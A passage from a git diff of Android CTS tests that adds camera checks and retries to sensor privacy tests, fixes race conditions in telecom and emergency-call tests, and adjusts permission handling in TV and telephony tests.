a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt index d5035fab288..ba673f0058a 100644 --- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt +++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt @@ -27,6 +27,7 @@ import android.platform.test.annotations.AppModeFull import android.hardware.SensorPrivacyManager.Sensors.CAMERA import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE import android.hardware.SensorPrivacyManager.Sources.OTHER +import android.hardware.camera2.CameraManager import android.support.test.uiautomator.By import android.view.KeyEvent import androidx.test.platform.app.InstrumentationRegistry @@ -67,6 +68,8 @@ abstract class SensorPrivacyBaseTest( "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY" const val DELAYED_ACTIVITY_NEW_TASK_EXTRA = "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK" + const val RETRY_CAM_EXTRA = + "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA" const val PKG_NAME = "android.sensorprivacy.cts.usemiccamera" const val RECORDING_FILE_NAME = "${PKG_NAME}_record.mp4" const val ACTIVITY_TITLE_SNIP = "CtsUseMic" @@ -125,6 +128,7 @@ abstract class SensorPrivacyBaseTest( } fun testDialog(delayedActivity: Boolean = false, delayedActivityNewTask: Boolean = false) { + checkCameraPresentIfNeeded() try { setSensor(true) val intent = Intent(MIC_CAM_ACTIVITY_ACTION) @@ -218,6 +222,7 @@ abstract class SensorPrivacyBaseTest( @Test @AppModeFull(reason = "Uses secondary app, instant apps have no visibility") fun testOpNotRunningWhileSensorPrivacyEnabled() { + checkCameraPresentIfNeeded() setSensor(false) val before = System.currentTimeMillis() startTestApp() @@ -236,8 +241,11 @@ abstract class SensorPrivacyBaseTest( @Test @AppModeFull(reason = "Uses secondary app, instant apps have no visibility") fun testOpStartsRunningAfterStartedWithSensoryPrivacyEnabled() { + checkCameraPresentIfNeeded() setSensor(true) - startTestApp() + // Retry camera connection because external cameras are disconnected + // if sensor privacy is enabled (b/182204067) + startTestApp(true) UiAutomatorUtils.waitFindObject(By.text( Pattern.compile("Cancel", Pattern.CASE_INSENSITIVE))).click() assertOpRunning(false) @@ -250,8 +258,11 @@ abstract class SensorPrivacyBaseTest( @Test @AppModeFull(reason = "Uses secondary app, instant apps have no visibility") fun testOpGetsRecordedAfterStartedWithSensorPrivacyEnabled() { + checkCameraPresentIfNeeded() setSensor(true) - startTestApp() + // Retry camera connection because external cameras are disconnected + // if sensor privacy is enabled (b/182204067) + startTestApp(true) UiAutomatorUtils.waitFindObject(By.text( Pattern.compile("Cancel", Pattern.CASE_INSENSITIVE))).click() val before = System.currentTimeMillis() @@ -269,6 +280,7 @@ abstract class SensorPrivacyBaseTest( @Test @AppModeFull(reason = "Uses secondary app, instant apps have no visibility") fun testOpLastAccessUpdatesAfterToggleSensorPrivacy() { + checkCameraPresentIfNeeded() setSensor(false) val before = System.currentTimeMillis() startTestApp() @@ -300,6 +312,7 @@ abstract class SensorPrivacyBaseTest( @Test @AppModeFull(reason = "Uses secondary app, instant apps have no visibility") fun testOpFinishedWhileToggleOn() { + checkCameraPresentIfNeeded() setSensor(false) startTestApp() eventually { @@ -317,13 +330,25 @@ abstract class SensorPrivacyBaseTest( assertOpRunning(false) } + private fun checkCameraPresentIfNeeded() { + if (sensor == CAMERA) { + val cameraManager: CameraManager = context.getSystemService(CameraManager::class.java)!! + Assume.assumeTrue("No camera available", cameraManager.cameraIdList.isNotEmpty()) + } + } + private fun startTestApp() { + startTestApp(false) + } + + private fun startTestApp(retryCameraOnError: Boolean) { val intent = Intent(MIC_CAM_ACTIVITY_ACTION) .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) .addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL) for (extra in extras) { intent.putExtra(extra, true) } + intent.putExtra(RETRY_CAM_EXTRA, retryCameraOnError) context.startActivity(intent) // Wait for app to open UiAutomatorUtils.waitFindObject(By.textContains(ACTIVITY_TITLE_SNIP)) diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt index 7281cad3ab8..0177c64dc0a 100644 --- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt +++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt @@ -35,6 +35,7 @@ import android.media.MediaRecorder import android.os.Bundle import android.os.Handler import android.os.Process +import android.util.Log import android.util.Size private const val MIC = 1 shl 0 @@ -42,10 +43,15 @@ private const val CAM = 1 shl 1 private const val SAMPLING_RATE = 8000 +private const val RETRY_TIMEOUT = 5000L +private const val TAG = "UseMicCamera" + class UseMicCamera : Activity() { private var audioRecord: AudioRecord? = null private var cameraDevice: CameraDevice? = null private lateinit var appOpsManager: AppOpsManager + private var cameraOpenRetryCount: Int = 0 + private var cameraMaxOpenRetry: Int = 0 companion object { const val MIC_CAM_ACTIVITY_ACTION = @@ -60,6 +66,8 @@ class UseMicCamera : Activity() { "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY" const val DELAYED_ACTIVITY_NEW_TASK_EXTRA = "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK" + const val RETRY_CAM_EXTRA = + "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA" } override fun onCreate(savedInstanceState: Bundle?) { @@ -125,6 +133,15 @@ class UseMicCamera : Activity() { val outputSize: Size = config!!.getOutputSizes(outputFormat)[0] val handler = Handler(mainLooper) + // Retry camera connection because external cameras are disconnected + // if sensor privacy is enabled (b/182204067) + val isExternalCamera = (cameraManager!!.getCameraCharacteristics(cameraId) + .get(CameraCharacteristics.LENS_FACING) + == CameraCharacteristics.LENS_FACING_EXTERNAL) + if (intent.getBooleanExtra(RETRY_CAM_EXTRA, false) && isExternalCamera) { + cameraMaxOpenRetry = 1 + } + val cameraDeviceCallback = object : CameraDevice.StateCallback() { override fun onOpened(cD: CameraDevice) { val imageReader = ImageReader.newInstance( @@ -149,14 +166,26 @@ class UseMicCamera : Activity() { cD.createCaptureSession(sessionConfiguration) cameraDevice = cD + cameraOpenRetryCount = 0 } override fun onDisconnected(cameraDevice: CameraDevice) { } override fun onError(cameraDevice: CameraDevice, i: Int) { + // Retry once after timeout if cause is ERROR_CAMERA_DISABLED because it may + // be triggered if camera mute is not supported and sensor privacy is enabled + if (i == ERROR_CAMERA_DISABLED && cameraOpenRetryCount < cameraMaxOpenRetry) { + cameraDevice.close() + cameraOpenRetryCount++ + handler.postDelayed({ openCam() }, RETRY_TIMEOUT) + } } } - cameraManager!!.openCamera(cameraId, mainExecutor, cameraDeviceCallback) + try { + cameraManager!!.openCamera(cameraId, mainExecutor, cameraDeviceCallback) + } catch (e: android.hardware.camera2.CameraAccessException) { + Log.e(TAG, "openCamera: " + e) + } } -}
\ No newline at end of file +} diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java index 5fdfa8ecc04..e779be5417e 100644 --- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java +++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java @@ -59,7 +59,7 @@ import java.util.Objects; public class SimPhonebookContract_ElementaryFilesTest { // The minimum value for the ElementaryFiles.NAME_MAX_LENGTH column. - private static final int NAME_MAX_LENGTH_MINIMUM = 11; + private static final int NAME_MAX_LENGTH_MINIMUM = 2; // The minimum value for the ElementaryFiles.PHONE_NUMBER_MAX_LENGTH column. private static final int PHONE_NUMBER_MAX_LENGTH_MINIMUM = 20; diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java index 5ab5a904704..439b37790d9 100644 --- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java +++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java @@ -664,8 +664,16 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase { currentConnections++; currentCallCount++; } - placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnections, - currentCallCount); + placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentCallCount); + // The connectionService.lock is released in + // MockConnectionService#onCreateOutgoingConnection, however the connection will not + // actually be added to the list of connections in the ConnectionService until shortly + // afterwards. So there is still a potential for the lock to be released before it would + // be seen by calls to ConnectionService#getAllConnections(). + // We will wait here until the list of connections includes one more connection to ensure + // that placing the call has fully completed. + assertCSConnections(currentConnections); + // Ensure the new outgoing call broadcast fired for the outgoing call. assertOutgoingCallBroadcastReceived(true); @@ -698,7 +706,16 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase { void placeAndVerifyCall(Bundle extras, int videoState) { int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount(); // We expect placing the call adds a new call/connection. - placeAndVerifyCall(extras, videoState, getNumberOfConnections() + 1, currentCallCount + 1); + int expectedConnections = getNumberOfConnections() + 1; + placeAndVerifyCall(extras, videoState, currentCallCount + 1); + // The connectionService.lock is released in + // MockConnectionService#onCreateOutgoingConnection, however the connection will not + // actually be added to the list of connections in the ConnectionService until shortly + // afterwards. So there is still a potential for the lock to be released before it would + // be seen by calls to ConnectionService#getAllConnections(). + // We will wait here until the list of connections includes one more connection to ensure + // that placing the call has fully completed. + assertCSConnections(expectedConnections); assertOutgoingCallBroadcastReceived(true); // CTS test does not have read call log permission so should not get the phone number. @@ -709,8 +726,7 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase { * Puts Telecom in a state where there is an active call provided by the * {@link CtsConnectionService} which can be tested. */ - void placeAndVerifyCall(Bundle extras, int videoState, int expectedConnectionCount, - int expectedCallCount) { + void placeAndVerifyCall(Bundle extras, int videoState, int expectedCallCount) { assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits()); placeNewCallWithPhoneAccount(extras, videoState); @@ -730,15 +746,6 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase { assertEquals("InCallService should match the expected count.", expectedCallCount, mInCallCallbacks.getService().getCallCount()); - - // The connectionService.lock is released in - // MockConnectionService#onCreateOutgoingConnection, however the connection will not - // actually be added to the list of connections in the ConnectionService until shortly - // afterwards. So there is still a potential for the lock to be released before it would - // be seen by calls to ConnectionService#getAllConnections(). - // We will wait here until the list of connections includes one more connection to ensure - // that placing the call has fully completed. - assertCSConnections(expectedConnectionCount); } /** @@ -752,14 +759,26 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase { public Connection placeAndVerifyEmergencyCall(boolean supportsHold) { Bundle extras = new Bundle(); extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_EMERGENCY_URI); + // We want to request the active connections vs number of connections because in some cases, + // we wait to destroy the underlying connection to prevent race conditions. This will result + // in Connections in the DISCONNECTED state. int currentConnectionCount = supportsHold ? - getNumberOfConnections() + 1 : getNumberOfConnections(); + getNumberOfActiveConnections() + 1 : getNumberOfActiveConnections(); int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount(); currentCallCount = supportsHold ? currentCallCount + 1 : currentCallCount; // The device only supports a max of two calls active at any one time currentCallCount = Math.min(currentCallCount, 2); - placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnectionCount, - currentCallCount); + + placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentCallCount); + // The connectionService.lock is released in + // MockConnectionService#onCreateOutgoingConnection, however the connection will not + // actually be added to the list of connections in the ConnectionService until shortly + // afterwards. So there is still a potential for the lock to be released before it would + // be seen by calls to ConnectionService#getAllConnections(). + // We will wait here until the list of connections includes one more connection to ensure + // that placing the call has fully completed. + assertActiveCSConnections(currentConnectionCount); + assertOutgoingCallBroadcastReceived(true); Connection connection = verifyConnectionForOutgoingCall(TEST_EMERGENCY_URI); TestUtils.waitOnAllHandlers(getInstrumentation()); @@ -770,6 +789,12 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase { return CtsConnectionService.getAllConnectionsFromTelecom().size(); } + int getNumberOfActiveConnections() { + return CtsConnectionService.getAllConnectionsFromTelecom().stream() + .filter(c -> c.getState() != Connection.STATE_DISCONNECTED).collect( + Collectors.toSet()).size(); + } + Connection getConnection(Uri address) { return CtsConnectionService.getAllConnectionsFromTelecom().stream() .filter(c -> c.getAddress().equals(address)).findFirst().orElse(null); @@ -1217,6 +1242,23 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase { ); } + void assertActiveCSConnections(final int numConnections) { + waitUntilConditionIsTrueOrTimeout(new Condition() { + @Override + public Object expected() { + return numConnections; + } + + @Override + public Object actual() { + return getNumberOfActiveConnections(); + } + }, + WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, + "ConnectionService should contain " + numConnections + " connections." + ); + } + void assertCSConnections(final int numConnections) { waitUntilConditionIsTrueOrTimeout(new Condition() { @Override diff --git a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java index 47b146214d4..a1d9e6d2f5d 100644 --- a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java +++ b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java @@ -85,7 +85,9 @@ public class EmergencyCallTests extends BaseTelecomTestWithMockServices { Uri normalCallNumber = createRandomTestNumber(); addAndVerifyNewIncomingCall(normalCallNumber, null); - Connection incomingConnection = verifyConnectionForIncomingCall(); + MockConnection incomingConnection = verifyConnectionForIncomingCall(); + // Ensure destroy happens after emergency call is placed to prevent unbind -> rebind. + incomingConnection.disableAutoDestroy(); Call incomingCall = getInCallService().getLastCall(); assertCallState(incomingCall, Call.STATE_RINGING); @@ -94,6 +96,7 @@ public class EmergencyCallTests extends BaseTelecomTestWithMockServices { Call eCall = getInCallService().getLastCall(); assertCallState(eCall, Call.STATE_DIALING); + incomingConnection.destroy(); assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED); assertCallState(incomingCall, Call.STATE_DISCONNECTED); @@ -123,7 +126,9 @@ public class EmergencyCallTests extends BaseTelecomTestWithMockServices { Uri normalIncomingCallNumber = createRandomTestNumber(); addAndVerifyNewIncomingCall(normalIncomingCallNumber, null); - Connection incomingConnection = verifyConnectionForIncomingCall(); + MockConnection incomingConnection = verifyConnectionForIncomingCall(); + // Ensure destroy happens after emergency call is placed to prevent unbind -> rebind. + incomingConnection.disableAutoDestroy(); Call incomingCall = getInCallService().getLastCall(); assertCallState(incomingCall, Call.STATE_RINGING); @@ -132,6 +137,7 @@ public class EmergencyCallTests extends BaseTelecomTestWithMockServices { Call eCall = getInCallService().getLastCall(); assertCallState(eCall, Call.STATE_DIALING); + incomingConnection.destroy(); assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED); assertCallState(incomingCall, Call.STATE_DISCONNECTED); diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java index 299ffba0f8e..f8945ce0d9d 100644 --- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java +++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java @@ -60,6 +60,7 @@ public class MockConnection extends Connection { private PhoneAccountHandle mPhoneAccountHandle; private RemoteConnection mRemoteConnection = null; private RttTextStream mRttTextStream; + private boolean mAutoDestroy = true; private SparseArray<InvokeCounter> mInvokeCounterMap = new SparseArray<>(13); @@ -91,7 +92,7 @@ public class MockConnection extends Connection { if (mRemoteConnection != null) { mRemoteConnection.reject(); } - destroy(); + if (mAutoDestroy) destroy(); } @Override @@ -99,7 +100,7 @@ public class MockConnection extends Connection { super.onReject(rejectReason); setDisconnected(new DisconnectCause(DisconnectCause.REJECTED, Integer.toString(rejectReason))); - destroy(); + if (mAutoDestroy) destroy(); } @Override @@ -109,7 +110,7 @@ public class MockConnection extends Connection { if (mRemoteConnection != null) { mRemoteConnection.reject(); } - destroy(); + if (mAutoDestroy) destroy(); } @Override @@ -137,7 +138,7 @@ public class MockConnection extends Connection { if (mRemoteConnection != null) { mRemoteConnection.disconnect(); } - destroy(); + if (mAutoDestroy) destroy(); } @Override @@ -147,7 +148,7 @@ public class MockConnection extends Connection { if (mRemoteConnection != null) { mRemoteConnection.abort(); } - destroy(); + if (mAutoDestroy) destroy(); } @Override @@ -279,6 +280,14 @@ public class MockConnection extends Connection { } } + /** + * Do not destroy after setting disconnected for cases that need finer state control. If + * disabled the caller will need to call destroy manually. + */ + public void disableAutoDestroy() { + mAutoDestroy = false; + } + public int getCurrentState() { return mState; } diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java index b3cda70ee99..5d76420fe62 100644 --- a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java @@ -170,24 +170,32 @@ public class ServiceStateTest { @Test public void testNrStateRedacted() { + // Verify that NR State is not leaked in user builds. + if (Build.IS_DEBUGGABLE) return; final TelephonyManager tm = getContext().getSystemService(TelephonyManager.class); - // Verify that NR State is not leaked in user builds. - if (!Build.IS_DEBUGGABLE) { - final String sss = tm.getServiceState().toString(); - // The string leaked in previous releases is "nrState=<val>"; test that there is - // no matching or highly similar string leak, such as: - // nrState=NONE - // nrState=0 - // mNrState=RESTRICTED - // NRSTATE=NOT_RESTRICTED - // nrState = CONNECTED - // etc. - Pattern p = Pattern.compile("nrState\\s*=\\s*[a-zA-Z0-9_]+", Pattern.CASE_INSENSITIVE); - Matcher m = p.matcher(sss); - // Need to use if (find) fail to ensure that the start and end are populated - if (m.find()) fail("Found nrState reported as: " + sss.substring(m.start(), m.end())); - } + final NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder() + .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WWAN) + .setDomain(NetworkRegistrationInfo.DOMAIN_PS) + .build(); + nri.setNrState(NetworkRegistrationInfo.NR_STATE_RESTRICTED); + + final ServiceState ss = new ServiceState(); + ss.addNetworkRegistrationInfo(nri); + String sss = ss.toString(); + + // The string leaked in previous releases is "nrState=<val>"; test that there is + // no matching or highly similar string leak, such as: + // nrState=NONE + // nrState=0 + // mNrState=RESTRICTED + // NRSTATE=NOT_RESTRICTED + // nrState = CONNECTED + // etc. + Pattern p = Pattern.compile("nrState\\s*=\\s*[a-zA-Z0-9_]+", Pattern.CASE_INSENSITIVE); + Matcher m = p.matcher(sss); + // Need to use if (find) fail to ensure that the start and end are populated + if (m.find()) fail("Found nrState reported as: " + sss.substring(m.start(), m.end())); } @Test diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java index 11e5979402e..6e5f7de65bc 100644 --- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java @@ -45,6 +45,7 @@ import android.content.Intent; import android.content.IntentFilter; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; +import android.content.res.Resources; import android.net.ConnectivityManager; import android.net.wifi.WifiManager; import android.os.AsyncTask; @@ -1451,9 +1452,11 @@ public class TelephonyManagerTest { return; } boolean is5gStandalone = getContext().getResources().getBoolean( - com.android.internal.R.bool.config_telephony5gStandalone); + Resources.getSystem().getIdentifier("config_telephony5gStandalone", "bool", + "android")); boolean is5gNonStandalone = getContext().getResources().getBoolean( - com.android.internal.R.bool.config_telephony5gNonStandalone); + Resources.getSystem().getIdentifier("config_telephony5gNonStandalone", "bool", + "android")); int[] deviceNrCapabilities = new int[0]; if (is5gStandalone || is5gNonStandalone) { List<Integer> list = new ArrayList<>(); diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java index c707d0e5c47..e7a6286dc1d 100644 --- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java +++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java @@ -557,6 +557,9 @@ public class ImsMmTelManagerTest { assertNotNull(resultQueue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS)); } catch (SecurityException e) { fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission."); + } catch (ImsException ignore) { + // We are only testing method permissions here, so the actual ImsException does not + // matter, since it shows that the permission check passed. } try { LinkedBlockingQueue<Integer> resultQueue = new LinkedBlockingQueue<>(1); diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java index 055b75d8fc8..49387375783 100644 --- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java +++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java @@ -37,6 +37,8 @@ import android.test.AndroidTestCase; import android.test.MoreAsserts; import android.tv.cts.R; +import androidx.test.InstrumentationRegistry; + import java.io.InputStream; import java.io.OutputStream; import java.util.Arrays; @@ -113,6 +115,11 @@ public class TvContractTest extends AndroidTestCase { private static final String[] NON_EXISTING_COLUMN_NAMES = {"non_existing_column", "another non-existing column --"}; + private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS = + "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS"; + private static final String PERMISSION_WRITE_EPG_DATA = + "com.android.providers.tv.permission.WRITE_EPG_DATA"; + private String mInputId; private ContentResolver mContentResolver; private Uri mChannelsUri; @@ -123,6 +130,11 @@ public class TvContractTest extends AndroidTestCase { if (!Utils.hasTvInputFramework(getContext())) { return; } + InstrumentationRegistry + .getInstrumentation() + .getUiAutomation() + .adoptShellPermissionIdentity( + PERMISSION_ACCESS_WATCHED_PROGRAMS, PERMISSION_WRITE_EPG_DATA); mInputId = TvContract.buildInputId( new ComponentName(getContext(), StubTunerTvInputService.class)); mContentResolver = getContext().getContentResolver(); @@ -138,6 +150,9 @@ public class TvContractTest extends AndroidTestCase { mContentResolver.delete(Channels.CONTENT_URI, null, null); mContentResolver.delete(RecordedPrograms.CONTENT_URI, null, null); mContentResolver.delete(WatchNextPrograms.CONTENT_URI, null, null); + + InstrumentationRegistry.getInstrumentation().getUiAutomation() + .dropShellPermissionIdentity(); super.tearDown(); } diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java index 350456879c3..87b89133673 100644 --- a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java +++ b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java @@ -68,6 +68,17 @@ public class TvInputManagerTest extends ActivityInstrumentationTestCase2<TvViewS private static final TvContentRating DUMMY_RATING = TvContentRating.createRating( "com.android.tv", "US_TV", "US_TV_PG", "US_TV_D", "US_TV_L"); + private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS = + "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS"; + private static final String PERMISSION_WRITE_EPG_DATA = + "com.android.providers.tv.permission.WRITE_EPG_DATA"; + private static final String PERMISSION_ACCESS_TUNED_INFO = + "android.permission.ACCESS_TUNED_INFO"; + private static final String PERMISSION_TV_INPUT_HARDWARE = + "android.permission.TV_INPUT_HARDWARE"; + private static final String PERMISSION_TUNER_RESOURCE_ACCESS = + "android.permission.TUNER_RESOURCE_ACCESS"; + private String mStubId; private TvInputManager mManager; private LoggingCallback mCallback = new LoggingCallback(); @@ -98,6 +109,16 @@ public class TvInputManagerTest extends ActivityInstrumentationTestCase2<TvViewS if (!Utils.hasTvInputFramework(mActivity)) { return; } + + InstrumentationRegistry + .getInstrumentation() + .getUiAutomation() + .adoptShellPermissionIdentity( + PERMISSION_ACCESS_WATCHED_PROGRAMS, + PERMISSION_WRITE_EPG_DATA, + PERMISSION_ACCESS_TUNED_INFO, + PERMISSION_TUNER_RESOURCE_ACCESS); + mInstrumentation = getInstrumentation(); mTvView = findTvViewById(R.id.tvview); mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE); @@ -113,9 +134,6 @@ public class TvInputManagerTest extends ActivityInstrumentationTestCase2<TvViewS } assertNotNull(mStubTunerTvInputInfo); mTvView.setCallback(mMockCallback); - - InstrumentationRegistry.getInstrumentation().getUiAutomation() - .adoptShellPermissionIdentity(); } @Override @@ -141,7 +159,6 @@ public class TvInputManagerTest extends ActivityInstrumentationTestCase2<TvViewS InstrumentationRegistry.getInstrumentation().getUiAutomation() .dropShellPermissionIdentity(); - super.tearDown(); } @@ -397,6 +414,14 @@ public class TvInputManagerTest extends ActivityInstrumentationTestCase2<TvViewS if (mManager == null) { return; } + + InstrumentationRegistry + .getInstrumentation() + .getUiAutomation() + .adoptShellPermissionIdentity( + PERMISSION_WRITE_EPG_DATA, + PERMISSION_TV_INPUT_HARDWARE); + // Update hardware device list int deviceId = 0; boolean hardwareDeviceAdded = false; diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java index a562734fedd..13effcdf125 100644 --- a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java +++ b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java @@ -34,9 +34,10 @@ import android.util.ArrayMap; import android.util.SparseIntArray; import android.view.InputEvent; import android.view.KeyEvent; - import android.tv.cts.R; +import androidx.test.InstrumentationRegistry; + import com.android.compatibility.common.util.PollingCheck; import java.util.ArrayList; @@ -51,6 +52,11 @@ public class TvViewTest extends ActivityInstrumentationTestCase2<TvViewStubActiv /** The maximum time to wait for an operation. */ private static final long TIME_OUT_MS = 15000L; + private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS = + "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS"; + private static final String PERMISSION_WRITE_EPG_DATA = + "com.android.providers.tv.permission.WRITE_EPG_DATA"; + private TvView mTvView; private Activity mActivity; private Instrumentation mInstrumentation; @@ -170,6 +176,13 @@ public class TvViewTest extends ActivityInstrumentationTestCase2<TvViewStubActiv if (!Utils.hasTvInputFramework(mActivity)) { return; } + + InstrumentationRegistry + .getInstrumentation() + .getUiAutomation() + .adoptShellPermissionIdentity( + PERMISSION_ACCESS_WATCHED_PROGRAMS, PERMISSION_WRITE_EPG_DATA); + mInstrumentation = getInstrumentation(); mTvView = findTvViewById(R.id.tvview); mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE); @@ -207,6 +220,9 @@ public class TvViewTest extends ActivityInstrumentationTestCase2<TvViewStubActiv throw new RuntimeException(t); } mInstrumentation.waitForIdleSync(); + + InstrumentationRegistry.getInstrumentation().getUiAutomation() + .dropShellPermissionIdentity(); super.tearDown(); } diff --git a/tests/tests/view/src/android/view/cts/LongPressBackTest.java b/tests/tests/view/src/android/view/cts/LongPressBackTest.java index 7b63e418478..af2b1202a46 100644 --- a/tests/tests/view/src/android/view/cts/LongPressBackTest.java +++ b/tests/tests/view/src/android/view/cts/LongPressBackTest.java @@ -64,7 +64,7 @@ public class LongPressBackTest { .getUiAutomation(); // Inject key down event for back - long currentTime = System.currentTimeMillis(); + long currentTime = SystemClock.uptimeMillis(); automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BACK, 0), true); @@ -79,7 +79,7 @@ public class LongPressBackTest { assertTrue(mActivity.sawBackDown()); assertFalse(mActivity.sawBackUp()); - currentTime = System.currentTimeMillis(); + currentTime = SystemClock.uptimeMillis(); // Inject key up event for back automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_UP, KeyEvent.KEYCODE_BACK, 0), true); diff --git a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java index 72cff7f307f..67a12a00152 100644 --- a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java +++ b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java @@ -19,6 +19,7 @@ package android.widget.cts; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.timeout; import static org.mockito.Mockito.times; import static org.mockito.Mockito.verify; import static org.mockito.Mockito.verifyNoMoreInteractions; @@ -160,7 +161,7 @@ public class RadioButtonTest { } @Test - public void testToggleViaEmulatedTap() { + public void testToggleViaEmulatedTap() throws Throwable { final RadioButton.OnCheckedChangeListener mockCheckedChangeListener = mock(RadioButton.OnCheckedChangeListener.class); mRadioButton.setOnCheckedChangeListener(mockCheckedChangeListener); @@ -170,7 +171,8 @@ public class RadioButtonTest { // tap to checked CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, 